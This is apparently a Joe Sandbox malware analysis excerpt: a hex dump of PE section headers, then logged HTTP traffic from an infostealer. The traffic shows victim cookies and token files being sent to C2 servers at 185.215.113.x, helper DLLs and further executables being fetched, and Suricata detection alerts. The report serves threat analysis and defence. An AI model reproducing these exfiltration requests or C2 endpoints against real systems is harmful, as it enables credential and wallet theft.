00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 17 ce 01 28 00 00 00 90 15 ce 01 38 01 00 00 00 00 00 00 00 00 00 00 00 90 0f 01 28 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 40 7c 0f 01 00 10 00 00 00 7e 0f 01 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 85 ef 00 00 90 0f 01 00 86 ef 00 00 82 0f 01 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 2c 89 2d 00 00 20 ff 01 00 da 02 00 00 08 ff 01 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 a8 d8 0c 00 00 b0 2c 02 00 da 0c 00 00 e2 01 02 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 5f 52 44 41 54 41 00 00 f4 00 00 00 00 90 39 02 00 02 00 00 00 bc 0e 02 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 2a 02 00 00 a0 39 02 00 2c 02 00 00 be 0e 02 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 24 c3 01 00 00 d0 3b 02 00 c4 01 00 00 ea 10 02 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAAFBAKECAEGCBFIEGDGHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 46 45 31 44 36 42 46 36 31 45 34 31 38 36 36 34 38 36 36 33 36 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 2d 2d 0d 0a Data Ascii: ------DAAFBAKECAEGCBFIEGDGContent-Disposition: form-data; name="hwid"8FE1D6BF61E41866486636------DAAFBAKECAEGCBFIEGDGContent-Disposition: form-data; name="build"mars------DAAFBAKECAEGCBFIEGDG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFHIIEHJKKECGCBFIIJDHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 34 35 62 66 38 64 61 34 39 38 64 39 39 34 30 35 37 33 66 38 31 63 61 39 35 64 66 65 62 32 30 35 62 33 38 33 64 32 38 30 35 32 32 62 63 62 65 38 62 39 31 37 30 36 36 65 66 62 34 35 39 64 37 63 62 34 36 38 39 30 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 2d 2d 0d 0a Data Ascii: ------CFHIIEHJKKECGCBFIIJDContent-Disposition: form-data; name="token"2e45bf8da498d9940573f81ca95dfeb205b383d280522bcbe8b917066efb459d7cb46890------CFHIIEHJKKECGCBFIIJDContent-Disposition: form-data; name="message"browsers------CFHIIEHJKKECGCBFIIJD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKJKFBKKECFHJKEBKEHIHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 34 35 62 66 38 64 61 34 39 38 64 39 39 34 30 35 37 33 66 38 31 63 61 39 35 64 66 65 62 32 30 35 62 33 38 33 64 32 38 30 35 32 32 62 63 62 65 38 62 39 31 37 30 36 36 65 66 62 34 35 39 64 37 63 62 34 36 38 39 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 49 2d 2d 0d 0a Data Ascii: ------KKJKFBKKECFHJKEBKEHIContent-Disposition: form-data; name="token"2e45bf8da498d9940573f81ca95dfeb205b383d280522bcbe8b917066efb459d7cb46890------KKJKFBKKECFHJKEBKEHIContent-Disposition: form-data; name="message"plugins------KKJKFBKKECFHJKEBKEHI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEHJKJDGCGDAKFHIDBGCHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 34 35 62 66 38 64 61 34 39 38 64 39 39 34 30 35 37 33 66 38 31 63 61 39 35 64 66 65 62 32 30 35 62 33 38 33 64 32 38 30 35 32 32 62 63 62 65 38 62 39 31 37 30 36 36 65 66 62 34 35 39 64 37 63 62 34 36 38 39 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 2d 2d 0d 0a Data Ascii: ------KEHJKJDGCGDAKFHIDBGCContent-Disposition: form-data; name="token"2e45bf8da498d9940573f81ca95dfeb205b383d280522bcbe8b917066efb459d7cb46890------KEHJKJDGCGDAKFHIDBGCContent-Disposition: form-data; name="message"fplugins------KEHJKJDGCGDAKFHIDBGC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFCBAEBAEBFHCAKFCAKEHost: 185.215.113.206Content-Length: 6991Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIEHDBGDHDAECBGDHJKFHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 34 35 62 66 38 64 61 34 39 38 64 39 39 34 30 35 37 33 66 38 31 63 61 39 35 64 66 65 62 32 30 35 62 33 38 33 64 32 38 30 35 32 32 62 63 62 65 38 62 39 31 37 30 36 36 65 66 62 34 35 39 64 37 63 62 34 36 38 39 30 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 2d 2d 0d 0a Data Ascii: ------FIEHDBGDHDAECBGDHJKFContent-Disposition: form-data; name="token"2e45bf8da498d9940573f81ca95dfeb205b383d280522bcbe8b917066efb459d7cb46890------FIEHDBGDHDAECBGDHJKFContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------FIEHDBGDHDAECBGDHJKFContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------FIEHDBGDHDAECBGDHJKF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHIDHIEGIIIECAKEBFBAHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 34 35 62 66 38 64 61 34 39 38 64 39 39 34 30 35 37 33 66 38 31 63 61 39 35 64 66 65 62 32 30 35 62 33 38 33 64 32 38 30 35 32 32 62 63 62 65 38 62 39 31 37 30 36 36 65 66 62 34 35 39 64 37 63 62 34 36 38 39 30 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 2d 2d 0d 0a Data Ascii: ------DHIDHIEGIIIECAKEBFBAContent-Disposition: form-data; name="token"2e45bf8da498d9940573f81ca95dfeb205b383d280522bcbe8b917066efb459d7cb46890------DHIDHIEGIIIECAKEBFBAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DHIDHIEGIIIECAKEBFBAContent-Disposition: form-data; name="file"------DHIDHIEGIIIECAKEBFBA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIECFIEGDBKJKFIDHIECHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KECBFBAEBKJJJJKFCGCBHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 43 42 46 42 41 45 42 4b 4a 4a 4a 4a 4b 46 43 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 34 35 62 66 38 64 61 34 39 38 64 39 39 34 30 35 37 33 66 38 31 63 61 39 35 64 66 65 62 32 30 35 62 33 38 33 64 32 38 30 35 32 32 62 63 62 65 38 62 39 31 37 30 36 36 65 66 62 34 35 39 64 37 63 62 34 36 38 39 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 42 46 42 41 45 42 4b 4a 4a 4a 4a 4b 46 43 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 42 46 42 41 45 42 4b 4a 4a 4a 4a 4b 46 43 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 42 46 42 41 45 42 4b 4a 4a 4a 4a 4b 46 43 47 43 42 2d 2d 0d 0a Data Ascii: ------KECBFBAEBKJJJJKFCGCBContent-Disposition: form-data; name="token"2e45bf8da498d9940573f81ca95dfeb205b383d280522bcbe8b917066efb459d7cb46890------KECBFBAEBKJJJJKFCGCBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KECBFBAEBKJJJJKFCGCBContent-Disposition: form-data; name="file"------KECBFBAEBKJJJJKFCGCB--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEBFIEBAFCBAAAAKJKJEHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGHIIJKEBGIDHIDBKJDHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 34 35 62 66 38 64 61 34 39 38 64 39 39 34 30 35 37 33 66 38 31 63 61 39 35 64 66 65 62 32 30 35 62 33 38 33 64 32 38 30 35 32 32 62 63 62 65 38 62 39 31 37 30 36 36 65 66 62 34 35 39 64 37 63 62 34 36 38 39 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 2d 2d 0d 0a Data Ascii: ------JDGHIIJKEBGIDHIDBKJDContent-Disposition: form-data; name="token"2e45bf8da498d9940573f81ca95dfeb205b383d280522bcbe8b917066efb459d7cb46890------JDGHIIJKEBGIDHIDBKJDContent-Disposition: form-data; name="message"wallets------JDGHIIJKEBGIDHIDBKJD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKFCBAEHCAEGDHJKFHJKHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 34 35 62 66 38 64 61 34 39 38 64 39 39 34 30 35 37 33 66 38 31 63 61 39 35 64 66 65 62 32 30 35 62 33 38 33 64 32 38 30 35 32 32 62 63 62 65 38 62 39 31 37 30 36 36 65 66 62 34 35 39 64 37 63 62 34 36 38 39 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 2d 2d 0d 0a Data Ascii: ------JKFCBAEHCAEGDHJKFHJKContent-Disposition: form-data; name="token"2e45bf8da498d9940573f81ca95dfeb205b383d280522bcbe8b917066efb459d7cb46890------JKFCBAEHCAEGDHJKFHJKContent-Disposition: form-data; name="message"files------JKFCBAEHCAEGDHJKFHJK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIIJDAAAAAAKECBFBAEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 34 35 62 66 38 64 61 34 39 38 64 39 39 34 30 35 37 33 66 38 31 63 61 39 35 64 66 65 62 32 30 35 62 33 38 33 64 32 38 30 35 32 32 62 63 62 65 38 62 39 31 37 30 36 36 65 66 62 34 35 39 64 37 63 62 34 36 38 39 30 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 2d 2d 0d 0a Data Ascii: ------HIIIJDAAAAAAKECBFBAEContent-Disposition: form-data; name="token"2e45bf8da498d9940573f81ca95dfeb205b383d280522bcbe8b917066efb459d7cb46890------HIIIJDAAAAAAKECBFBAEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------HIIIJDAAAAAAKECBFBAEContent-Disposition: form-data; name="file"------HIIIJDAAAAAAKECBFBAE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHIECGCAEBFIIDHIDGIEHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 34 35 62 66 38 64 61 34 39 38 64 39 39 34 30 35 37 33 66 38 31 63 61 39 35 64 66 65 62 32 30 35 62 33 38 33 64 32 38 30 35 32 32 62 63 62 65 38 62 39 31 37 30 36 36 65 66 62 34 35 39 64 37 63 62 34 36 38 39 30 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 44 47 49 45 2d 2d 0d 0a Data Ascii: ------DHIECGCAEBFIIDHIDGIEContent-Disposition: form-data; name="token"2e45bf8da498d9940573f81ca95dfeb205b383d280522bcbe8b917066efb459d7cb46890------DHIECGCAEBFIIDHIDGIEContent-Disposition: form-data; name="message"ybncbhylepme------DHIECGCAEBFIIDHIDGIE--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGCGDBGCAAEBFIECGHDHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 34 35 62 66 38 64 61 34 39 38 64 39 39 34 30 35 37 33 66 38 31 63 61 39 35 64 66 65 62 32 30 35 62 33 38 33 64 32 38 30 35 32 32 62 63 62 65 38 62 39 31 37 30 36 36 65 66 62 34 35 39 64 37 63 62 34 36 38 39 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 2d 2d 0d 0a Data Ascii: ------JDGCGDBGCAAEBFIECGHDContent-Disposition: form-data; name="token"2e45bf8da498d9940573f81ca95dfeb205b383d280522bcbe8b917066efb459d7cb46890------JDGCGDBGCAAEBFIECGHDContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JDGCGDBGCAAEBFIECGHD--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 31 32 42 37 35 42 30 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB12B75B05C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /files/babababa.exe HTTP/1.1Host: 31.41.244.11

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 52.168.117.170 52.168.117.170
Source: Joe Sandbox View	IP Address: 20.125.209.212 20.125.209.212

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49802 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49947 -> 185.215.113.16:80
